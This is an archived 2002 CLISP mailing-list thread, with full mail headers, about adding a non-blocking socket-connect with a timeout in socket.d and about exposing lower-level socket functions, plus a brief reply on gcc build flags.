for ; Mon, 27 May 2002 09:31:08 -0700 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.11.6/8.11.6) with ESMTP id g4RGVlf28618; Mon, 27 May 2002 12:31:47 -0400 To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Subject: Re: Re[2]: [clisp-list] socket-connect's timeout References: <20020524233858.87830.qmail@web20901.mail.yahoo.com> <682923854.20020527220057@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <682923854.20020527220057@ich.dvo.ru> Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon May 27 09:32:02 2002 X-Original-Date: 27 May 2002 12:31:47 -0400 > * In message <682923854.20020527220057@ich.dvo.ru> > * On the subject of "Re[2]: [clisp-list] socket-connect's timeout" > * Sent on Mon, 27 May 2002 22:00:57 +1000 > * Honorable Arseny Slobodjuck writes: > > Monday, May 27, 2002, 7:16:21 AM, you wrote: > > Sam> Specifically win32: what's the MS-way to do ioctl/FIONBIO? > They call it WSPIoctl. IIUC it should be > > errorp = WSPIoctl(socket,FIONBIO,&unsigned_long_nonblockp, > sizeof(unsigned_long_nonblockp),NULL,0,NULL,NULL,NULL,NULL,&errno_returned); > > But it needs experimenting. great! please make win32.d and win32aux.d export a non-interruptible ioctl, just like unix.d and unixaux.d do. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux If your VCR is still blinking 12:00, you don't want Linux. From ampy@ich.dvo.ru Mon May 27 15:23:37 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17CSti-0003sm-00 for ; Mon, 27 May 2002 15:23:27 -0700 Received: from ppp66-3640.vtc.ru (ppp66-3640.vtc.ru [212.16.216.66]) by vtc.ru (8.12.3/8.12.3) with ESMTP id g4RMMkLr013723; Tue, 28 May 2002 09:22:54 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1787024190.20020528091607@ich.dvo.ru> To: Sam Steingold CC: clisp-list@lists.sourceforge.net Subject: Re[4]: [clisp-list] socket-connect's timeout In-reply-To: References: <20020524233858.87830.qmail@web20901.mail.yahoo.com> <682923854.20020527220057@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon May 27 15:24:01 2002 X-Original-Date: Tue, 28 May 2002 09:16:07 +1000 Hello Sam, Tuesday, May 28, 2002, 2:31:47 AM, you wrote: >> Sam> Specifically win32: what's the MS-way to do ioctl/FIONBIO? >> They call it WSPIoctl. IIUC it should be >> >> errorp = WSPIoctl(socket,FIONBIO,&unsigned_long_nonblockp, >> sizeof(unsigned_long_nonblockp),NULL,0,NULL,NULL,NULL,NULL,&errno_returned); >> But it needs experimenting. Sam> great! please make win32.d and win32aux.d export a non-interruptible Sam> ioctl, just like unix.d and unixaux.d do. Ok, in a day or two. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From ampy@ich.dvo.ru Mon May 27 15:23:54 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17CStv-0003sb-00 for ; Mon, 27 May 2002 15:23:39 -0700 Received: from ppp66-3640.vtc.ru (ppp66-3640.vtc.ru [212.16.216.66]) by vtc.ru (8.12.3/8.12.3) with ESMTP id g4RMMkLp013723; Tue, 28 May 2002 09:22:50 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1855318487.20020528084741@ich.dvo.ru> To: Todd Sabin CC: clisp-list@lists.sourceforge.net Subject: Re[6]: [clisp-list] socket-connect's timeout In-reply-To: References: <20020524233858.87830.qmail@web20901.mail.yahoo.com> <3716903646.20020527140140@ich.dvo.ru> <1865127272.20020527223741@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon May 27 15:24:02 2002 X-Original-Date: Tue, 28 May 2002 08:47:41 +1000 Hello Todd, Tuesday, May 28, 2002, 1:41:21 AM, you wrote: >> Todd> Correct me if I'm wrong, but using socket-connect with :timeout 0 will >> Todd> (virtually) always signal an error, since you'll never get connected >> Todd> instantly. (Perhaps you would on loopback.) That is not what I want. >> Yes, you're right. But socket-wait doesn't return an error - it polls (and >> it's convenient). What if we'll have analog of socket-wait but for client >> side - call it, say connect-wait or wait-connect or client-wait... It will >> turn blocking off, starts connecting (if connection wasn't started yet), >> waits checking whether connection ready and returns nil or t depending on >> result. Then socket-connect (when called) checks the status, turns on the >> blocking and signals an error or returns stream in full harmony with Lisp >> spirit balancing Client and Server sides of Connection... How do you >> like it ? Todd> Well, I'm not very clear on how your proposal would work. What would Todd> you pass to SOCKET-CONNECT to indicate that you want to use whatever Todd> it is you get from CLIENT-WAIT? You're right again. Then we need a CLIENT-SOCKET datatype analogous to SERVER-SOCKET and initializer for it (taking port and host parameters). Then initializer starts connection, CLIENT-WAIT waits or polls and CLIENT-CONNECT creates the stream or throws an error. Todd> What about the idea of having a SOCKET-CONNECT% didn't you like? Think about it as about your half-connected streams splitted into half-connected part (CLIENT-SOCKET) and connected SOCKET-STREAM. That's just in more agreement with things existing before (as far I can see). Todd> I don't suppose it makes sense to re-suggest the stuff in: Todd> http://www.geocrawler.com/archives/3/1124/2002/1/100/7517822/ does it? I think those people who don't want to know about blocking, UDP sockets, ioctl etc have right to it. So let advanced interface exists, but if it hurts basic interface - maybe make it separate from SOCKET: ? -- Best regards, Arseny mailto:ampy@ich.dvo.ru From tsabin@optonline.net Tue May 28 09:20:37 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Cji7-0002oB-00 for ; Tue, 28 May 2002 09:20:35 -0700 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id MAA21261; Tue, 28 May 2002 12:19:34 -0400 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: clisp-list@lists.sourceforge.net Cc: Arseny Slobodjuck Subject: Re: Re[4]: [clisp-list] socket-connect's timeout References: <20020524233858.87830.qmail@web20901.mail.yahoo.com> <3716903646.20020527140140@ich.dvo.ru> <1865127272.20020527223741@ich.dvo.ru> From: Todd Sabin In-Reply-To: (Sam Steingold's message of "Mon, 27 May 2002 12:21:26 -0400") Message-ID: Lines: 94 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue May 28 09:21:07 2002 X-Original-Date: 28 May 2002 12:19:34 -0400 Sam Steingold writes: > > What about the idea of having a SOCKET-CONNECT% didn't you like? > > KISS - keep it simple. > > first, this is not really necessary. > if we really will introduce the "half-baked streams" (i.e., streams that > will start any i/o operation with a connect() syscall), I think you may have misunderstood again. They wouldn't start any i/o with a connect call. The connect call would already have been made, but in non-blocking mode. If you were to try to use the socket/stream without waiting (via SOCKET-STATUS) for the connect to finish, then it would just block at that point. There'd be no need to modify any of the current read/write paths. > they can be > created when the timeout is 0 (i.e. when otherwise we are guaranteed to > get an error). This would work for me. > second, I am not sure these "half-baked streams" are a good isea. > what do you need them for? I've already explained several times, but I'll try again. Imagine you're writing a proxy server. You accept connections from clients, and in the process of servicing them, you have to open connections to the resources they're requesting. Unless you consider it acceptable for your proxy to be totally non-responsive for large periods of time, you've got to have a non-blocking connect. The only representation in clisp for a socket connection is a socket-stream. Therefore, you need a non-blocking way of getting a socket-stream which you can then use with socket-status. Is that clear enough? > > I don't suppose it makes sense to re-suggest the stuff in: > > http://www.geocrawler.com/archives/3/1124/2002/1/100/7517822/ does it? > > here is the problem. > I _know_ what you want: you want, basically, bindings/linuxlibc6 in > CLISP at all times on all platforms (this is actually what I wanted when > I added --with-export-syscalls). Therefore anything short of that will > not satisfy you, and a lot of that will not be portable (even across > unixes) and will not work too well with the traditional Lisp paradigms, Please stop assuming you know what I want. What I'm saying in that email is that I want _sockets_, not all of linuxlibc6, on all platforms. Are there any clisp-supported platforms that don't support, say, UDP sockets? If not, why not make them standard in clisp? Why should people be forced to resort to FFI? I think there is a basic set of socket functionality which is available on all platforms (socket, bind, listen, accept, connect, recvfrom, sendto, e.g.). And that providing that, and then building higher level stuff on top of it would provide people with far more functionality and options than they currently have. Do you disagree with the feasability of that? If so, are there specific problems you know of? > > Sam already shot that down, but it's another way of dealing with this, > > as well as providing UDP sockets, unix domain sockets, etc. To tell > > the truth, I've already implemented most of that locally. It needs > > some refinement, but works just fine. > > good. > first, wrap it into `#ifdef EXPORT_SYSCALLS'. I think #ifdef FULL_SOCKETS or something would be more appropriate. > second, please do try to go a step up from bindings/linuxlibc6: a lot > of stuff here can be unified in one function (e.g., FILE-STAT unifies > lstat() and fstat()). As I said, this is a non-issue for me. > third, provide a way to get back into the Lisp world, i.e., something > like `sys:make-fd-stream' in CMUCL to convert a socket to a stream. Yes, this is really the crux of the problem. There's currently no way to get back into the normal lisp world. What I did for now was to expose make_socket_stream as MAKE-SOCKET-STREAM% (should be %MAKE...). If you agree that (or something similar) is necessary, and if you agree that the basic socket functionality can be exposed portably (though perhaps you don't), then you're 95% of the way to what I was suggesting in that email. At least, maybe you understand where I'm coming from now? E.g., given the above, I wouldn't care about clisp not providing the non-blocking connect, because I could easily add it myself at the lisp layer. And the same would be true of lots of other socket functionality. Todd From tsabin@optonline.net Tue May 28 09:34:09 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17CjvC-00045B-00 for ; Tue, 28 May 2002 09:34:06 -0700 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id MAA21283; Tue, 28 May 2002 12:33:07 -0400 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Subject: Re: Re[6]: [clisp-list] socket-connect's timeout References: <20020524233858.87830.qmail@web20901.mail.yahoo.com> <3716903646.20020527140140@ich.dvo.ru> <1865127272.20020527223741@ich.dvo.ru> <1855318487.20020528084741@ich.dvo.ru> From: Todd Sabin In-Reply-To: <1855318487.20020528084741@ich.dvo.ru> (Arseny Slobodjuck's message of "Tue, 28 May 2002 08:47:41 +1000") Message-ID: Lines: 54 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue May 28 09:35:03 2002 X-Original-Date: 28 May 2002 12:33:07 -0400 Arseny Slobodjuck writes: > Hello Todd, > > Tuesday, May 28, 2002, 1:41:21 AM, you wrote: > > >> Todd> Correct me if I'm wrong, but using socket-connect with :timeout 0 will > >> Todd> (virtually) always signal an error, since you'll never get connected > >> Todd> instantly. (Perhaps you would on loopback.) That is not what I want. > >> Yes, you're right. But socket-wait doesn't return an error - it polls (and > >> it's convenient). What if we'll have analog of socket-wait but for client > >> side - call it, say connect-wait or wait-connect or client-wait... It will > >> turn blocking off, starts connecting (if connection wasn't started yet), > >> waits checking whether connection ready and returns nil or t depending on > >> result. Then socket-connect (when called) checks the status, turns on the > >> blocking and signals an error or returns stream in full harmony with Lisp > >> spirit balancing Client and Server sides of Connection... How do you > >> like it ? > > Todd> Well, I'm not very clear on how your proposal would work. What would > Todd> you pass to SOCKET-CONNECT to indicate that you want to use whatever > Todd> it is you get from CLIENT-WAIT? > You're right again. Then we need a CLIENT-SOCKET datatype analogous to > SERVER-SOCKET and initializer for it (taking port and host parameters). > Then initializer starts connection, CLIENT-WAIT waits or polls and > CLIENT-CONNECT creates the stream or throws an error. > > Todd> What about the idea of having a SOCKET-CONNECT% didn't you like? > Think about it as about your half-connected streams splitted into > half-connected part (CLIENT-SOCKET) and connected SOCKET-STREAM. > That's just in more agreement with things existing before (as far I can > see). Ah. This is actually extremely close to what I mention in the email referenced below. Your CLIENT-SOCKET would just be a normal SOCKET, and what you are calling CLIENT-CONNECT would be more like a MAKE-SOCKET-STREAM. I.e., something that takes a socket and makes a stream from it. > Todd> I don't suppose it makes sense to re-suggest the stuff in: > Todd> http://www.geocrawler.com/archives/3/1124/2002/1/100/7517822/ does it? > I think those people who don't want to know about blocking, UDP > sockets, ioctl etc have right to it. So let advanced interface exists, > but if it hurts basic interface - maybe make it separate from SOCKET: ? I don't understand why you think this would force complexity on people who don't want it. If you want to keep using the high level stuff that's there now, you can. People who want to use the current stuff aren't forced to look at the C implementation, are they? All I'm saying is to move some of the C code to lisp. But it'd still be "implementation details" people can ignore if they want. Todd From samuel.steingold@verizon.net Tue May 28 10:13:07 2002 Received: from h008.c001.snv.cp.net ([209.228.32.122] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17CkWt-0007kf-00 for ; Tue, 28 May 2002 10:13:03 -0700 Received: (cpmta 20049 invoked from network); 28 May 2002 10:12:44 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.122) with SMTP; 28 May 2002 10:12:44 -0700 X-Sent: 28 May 2002 17:12:44 GMT To: Todd Sabin Cc: clisp-list@lists.sourceforge.net Subject: Re: Re[4]: [clisp-list] socket-connect's timeout References: <20020524233858.87830.qmail@web20901.mail.yahoo.com> <3716903646.20020527140140@ich.dvo.ru> <1865127272.20020527223741@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 118 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue May 28 11:03:36 2002 X-Original-Date: 28 May 2002 13:12:43 -0400 > * In message > * On the subject of "Re: Re[4]: [clisp-list] socket-connect's timeout" > * Sent on 28 May 2002 12:19:34 -0400 > * Honorable Todd Sabin writes: > > Sam Steingold writes: > > > What about the idea of having a SOCKET-CONNECT% didn't you like? > > > > KISS - keep it simple. > > > > first, this is not really necessary. > > if we really will introduce the "half-baked streams" (i.e., streams that > > will start any i/o operation with a connect() syscall), > > They wouldn't start any i/o with a connect call. The connect call > would already have been made, but in non-blocking mode. are you saying that the second connect() call in connect_via_ip() is wrong? why didn't you say that?! > If you were to try to use the socket/stream without waiting (via > SOCKET-STATUS) for the connect to finish, then it would just block at > that point. There'd be no need to modify any of the current > read/write paths. when do I put the socket back into the blocking mode? right after connect() but before the first i/o operation? > > they can be > > created when the timeout is 0 (i.e. when otherwise we are guaranteed to > > get an error). > > This would work for me. you got it - try the appended patch with the current CVS (preferably _before_ replying to this message :-). please comment on the code - you know more about TCP/IP than I do. > > > I don't suppose it makes sense to re-suggest the stuff in: > > > http://www.geocrawler.com/archives/3/1124/2002/1/100/7517822/ does it? > > > > here is the problem. > > I _know_ what you want: you want, basically, bindings/linuxlibc6 in > > CLISP at all times on all platforms (this is actually what I wanted when > > I added --with-export-syscalls). Therefore anything short of that will > > not satisfy you, and a lot of that will not be portable (even across > > unixes) and will not work too well with the traditional Lisp paradigms, > > Please stop assuming you know what I want. What I'm saying in that > email is that I want _sockets_, not all of linuxlibc6, on all > platforms. Are there any clisp-supported platforms that don't > support, say, UDP sockets? If not, why not make them standard in > clisp? Why should people be forced to resort to FFI? so I exaggerated a bit. you only want sockets. fine. BTW, does a stream based on a UDP socket make sense? if yes, could we make it an option for socket-connect and socket-accept? > I think there is a basic set of socket functionality which is > available on all platforms (socket, bind, listen, accept, connect, > recvfrom, sendto, e.g.). And that providing that, and then building > higher level stuff on top of it would provide people with far more > functionality and options than they currently have. Do you disagree > with the feasability of that? If so, are there specific problems you > know of? win32. will your code work _the same way_ on all Unixes and on w32? > > first, wrap it into `#ifdef EXPORT_SYSCALLS'. > I think #ifdef FULL_SOCKETS or something would be more appropriate. EXPORT_SYSCALLS corresponds to a configure option already. > > third, provide a way to get back into the Lisp world, i.e., something > > like `sys:make-fd-stream' in CMUCL to convert a socket to a stream. > > Yes, this is really the crux of the problem. There's currently no way > to get back into the normal lisp world. What I did for now was to > expose make_socket_stream as MAKE-SOCKET-STREAM% (should be %MAKE...). > If you agree that (or something similar) is necessary, and if you > agree that the basic socket functionality can be exposed portably > (though perhaps you don't), then you're 95% of the way to what I was > suggesting in that email. At least, maybe you understand where I'm > coming from now? okay - send a patch doing what you want. it should work both on UNIX and win32. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Failure is not an option. It comes bundled with your Microsoft product. --- socket.d.~1.59.~ Tue May 28 04:11:10 2002 +++ socket.d Tue May 28 13:03:18 2002 @@ -823,6 +823,8 @@ return fd; #ifdef FIONBIO if (sock_errno_is(EINPROGRESS)) { + var struct timeval *tv = (struct timeval*)timeout; + if (tv==NULL || tv->tv_sec!=0 || tv->tv_usec!=0) { # wait restart_select: var fd_set handle_set; FD_ZERO(&handle_set); FD_SET(fd,&handle_set); @@ -836,8 +838,8 @@ CLOSESOCKET(fd); errno = ETIMEDOUT; return INVALID_SOCKET; } - if (connect(fd, addr, addrlen) >= 0) { - # connected - restore blocking IO + } + { # connected - restore blocking IO var int non_blocking_io = 0; if (ioctl(fd,FIONBIO,&non_blocking_io) == 0) return fd; From samuel.steingold@verizon.net Tue May 28 10:51:00 2002 Received: from h000.c001.snv.cp.net ([209.228.32.114] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Cl7b-000222-00 for ; Tue, 28 May 2002 10:50:59 -0700 Received: (cpmta 22085 invoked from network); 28 May 2002 10:44:07 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.114) with SMTP; 28 May 2002 10:44:07 -0700 X-Sent: 28 May 2002 17:44:07 GMT To: Todd Sabin Cc: Arseny Slobodjuck , clisp-list@lists.sourceforge.net Subject: Re: Re[6]: [clisp-list] socket-connect's timeout References: <20020524233858.87830.qmail@web20901.mail.yahoo.com> <3716903646.20020527140140@ich.dvo.ru> <1865127272.20020527223741@ich.dvo.ru> <1855318487.20020528084741@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue May 28 11:28:17 2002 X-Original-Date: 28 May 2002 13:44:05 -0400 > * In message > * On the subject of "Re: Re[6]: [clisp-list] socket-connect's timeout" > * Sent on 28 May 2002 12:33:07 -0400 > * Honorable Todd Sabin writes: > > > Todd> I don't suppose it makes sense to re-suggest the stuff in: > > Todd> http://www.geocrawler.com/archives/3/1124/2002/1/100/7517822/ does it? > > I think those people who don't want to know about blocking, UDP > > sockets, ioctl etc have right to it. So let advanced interface exists, > > but if it hurts basic interface - maybe make it separate from SOCKET: ? > > I don't understand why you think this would force complexity on people > who don't want it. If you want to keep using the high level stuff > that's there now, you can. People who want to use the current stuff > aren't forced to look at the C implementation, are they? All I'm > saying is to move some of the C code to lisp. But it'd still be > "implementation details" people can ignore if they want. the exported socket API will have many more functions, and this _will_ be confusing for an average user. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Binaries die but source code lives forever. From haible@ilog.fr Tue May 28 12:24:23 2002 Received: from sceaux.ilog.fr ([193.55.64.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17CmZw-0002KG-00 for ; Tue, 28 May 2002 12:24:20 -0700 Received: from ftp.ilog.fr (ftp.ilog.fr [193.55.64.11]) by sceaux.ilog.fr (8.11.6/8.11.6) with SMTP id g4SJLXB26882 for ; Tue, 28 May 2002 21:21:33 +0200 (MET DST) Received: from laposte.ilog.fr ([193.55.64.67]) by ftp.ilog.fr (NAVGW 2.5.1.16) with SMTP id M2002052821241111019 for ; Tue, 28 May 2002 21:24:11 +0200 Received: from honolulu.ilog.fr ([172.17.4.242]) by laposte.ilog.fr (8.11.6/8.11.5) with ESMTP id g4SJOA209702; Tue, 28 May 2002 21:24:10 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id VAA08908; Tue, 28 May 2002 21:20:41 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15603.55433.550984.860550@honolulu.ilog.fr> To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Subject: [clisp-list] Re: Should clisp 2.28 work with gcc 3.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue May 28 12:25:07 2002 X-Original-Date: Tue, 28 May 2002 21:20:41 +0200 (CEST) Hello, > I tried to compile clisp 2.28 (not current cvs) both on cygwin and redhat > 7.1. In both cases building interpreted.mem fails with a segfault. Try adding -fno-gcse -DNO_ASM to the CFLAGS in the Makefile, right after generating the Makefile. Bruno From tfb@ocf.berkeley.edu Tue May 28 12:41:40 2002 Received: from war.ocf.berkeley.edu ([128.32.191.89]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Cmqi-0003zW-00 for ; Tue, 28 May 2002 12:41:40 -0700 Received: from firestorm.OCF.Berkeley.EDU (daemon@firestorm.OCF.Berkeley.EDU [192.58.221.200]) by war.OCF.Berkeley.EDU (8.11.6/8.9.3) with ESMTP id g4SJf7U19474; Tue, 28 May 2002 12:41:07 -0700 (PDT) Received: (from tfb@localhost) by firestorm.OCF.Berkeley.EDU (8.11.6/8.10.2) id g4SJf6111901; Tue, 28 May 2002 12:41:06 -0700 (PDT) From: "Thomas F. Burdick" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15603.56658.8642.86624@firestorm.OCF.Berkeley.EDU> To: sds@gnu.org Cc: Todd Sabin , Arseny Slobodjuck , clisp-list@lists.sourceforge.net Subject: Re: Re[6]: [clisp-list] socket-connect's timeout In-Reply-To: References: <20020524233858.87830.qmail@web20901.mail.yahoo.com> <3716903646.20020527140140@ich.dvo.ru> <1865127272.20020527223741@ich.dvo.ru> <1855318487.20020528084741@ich.dvo.ru> X-Mailer: VM 6.90 under Emacs 21.2.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue May 28 12:42:02 2002 X-Original-Date: Tue, 28 May 2002 12:41:06 -0700 Sam Steingold writes: > > * In message > > * On the subject of "Re: Re[6]: [clisp-list] socket-connect's timeout" > > * Sent on 28 May 2002 12:33:07 -0400 > > * Honorable Todd Sabin writes: > > > > > Todd> I don't suppose it makes sense to re-suggest the stuff in: > > > Todd> http://www.geocrawler.com/archives/3/1124/2002/1/100/7517822/ does it? > > > I think those people who don't want to know about blocking, UDP > > > sockets, ioctl etc have right to it. So let advanced interface exists, > > > but if it hurts basic interface - maybe make it separate from SOCKET: ? > > > > I don't understand why you think this would force complexity on people > > who don't want it. If you want to keep using the high level stuff > > that's there now, you can. People who want to use the current stuff > > aren't forced to look at the C implementation, are they? All I'm > > saying is to move some of the C code to lisp. But it'd still be > > "implementation details" people can ignore if they want. > > the exported socket API will have many more functions, > and this _will_ be confusing for an average user. Only if you document it as one big API. The other option is to document it in layers. Have a "High-Level Sockets API" section followed by a "Low-Level Sockets API" section. I'm pretty sure that most users will stop reading at the end of the high-level section, when they figure out they can do what they want with it. -- /|_ .-----------------------. ,' .\ / | No to Imperialist war | ,--' _,' | Wage class war! | / / `-----------------------' ( -. | | ) | (`-. '--.) `. )----' From ampy@ich.dvo.ru Tue May 28 15:48:28 2002 Received: from farpost.com ([212.107.195.33]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Cpjk-0003Ec-00 for ; Tue, 28 May 2002 15:46:40 -0700 Received: (qmail 18938 invoked from network); 28 May 2002 22:44:46 -0000 Received: from unknown (HELO vladpress.vl.ru) (212.107.205.50) by vladpress.vl.ru with SMTP; 28 May 2002 22:44:46 -0000 Received: from localhost [127.0.0.1] by vladpress [127.0.0.1] with SMTP (MDaemon.v2.7.SP4.R) for ; Wed, 29 May 2002 09:45:15 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1791406562.20020529094514@ich.dvo.ru> To: Sam Steingold CC: Todd Sabin , clisp-list@lists.sourceforge.net Subject: Re[6]: [clisp-list] socket-connect's timeout In-reply-To: References: <20020524233858.87830.qmail@web20901.mail.yahoo.com> <3716903646.20020527140140@ich.dvo.ru> <1865127272.20020527223741@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-MDaemon-Deliver-To: clisp-list@lists.sourceforge.net X-Return-Path: ampy@ich.dvo.ru Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue May 28 15:49:03 2002 X-Original-Date: Wed, 29 May 2002 09:45:14 +1000 Hello, Sam, Wednesday, May 29, 2002, 3:12:43 AM, you wrote: >> They wouldn't start any i/o with a connect call. The connect call >> would already have been made, but in non-blocking mode. Sam> are you saying that the second connect() call in connect_via_ip() is Sam> wrong? why didn't you say that?! I tried your patch on win32 (with ioctl changed to win32 equivalent - I found 'ioctlsocket(socked,cmd,arg)' function in API) and it works not very well. I am quite busy to debug it fast, but we're not in a hurry, are we ? Or better yet I will debug it after unix version will work (basically it works, but when I'm emulating slow server responce, it fails. I patched it and now it locks at all). -- Best regards, Arseny mailto:ampy@ich.dvo.ru From john@cs.york.ac.uk Wed May 29 04:01:18 2002 Received: from minster.cs.york.ac.uk ([144.32.40.2]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17D1Ce-0001U9-00 for ; Wed, 29 May 2002 04:01:16 -0700 Received: from pc118 ([144.32.41.119] helo=cs.york.ac.uk ident=john) by minster.cs.york.ac.uk with esmtp (Exim 3.22 #9) id 17D1Ak-0001jZ-00; Wed, 29 May 2002 11:59:19 +0100 From: John Murdie To: clisp-list@lists.sourceforge.net cc: John Murdie MIME-Version: 1.0 Content-Type: 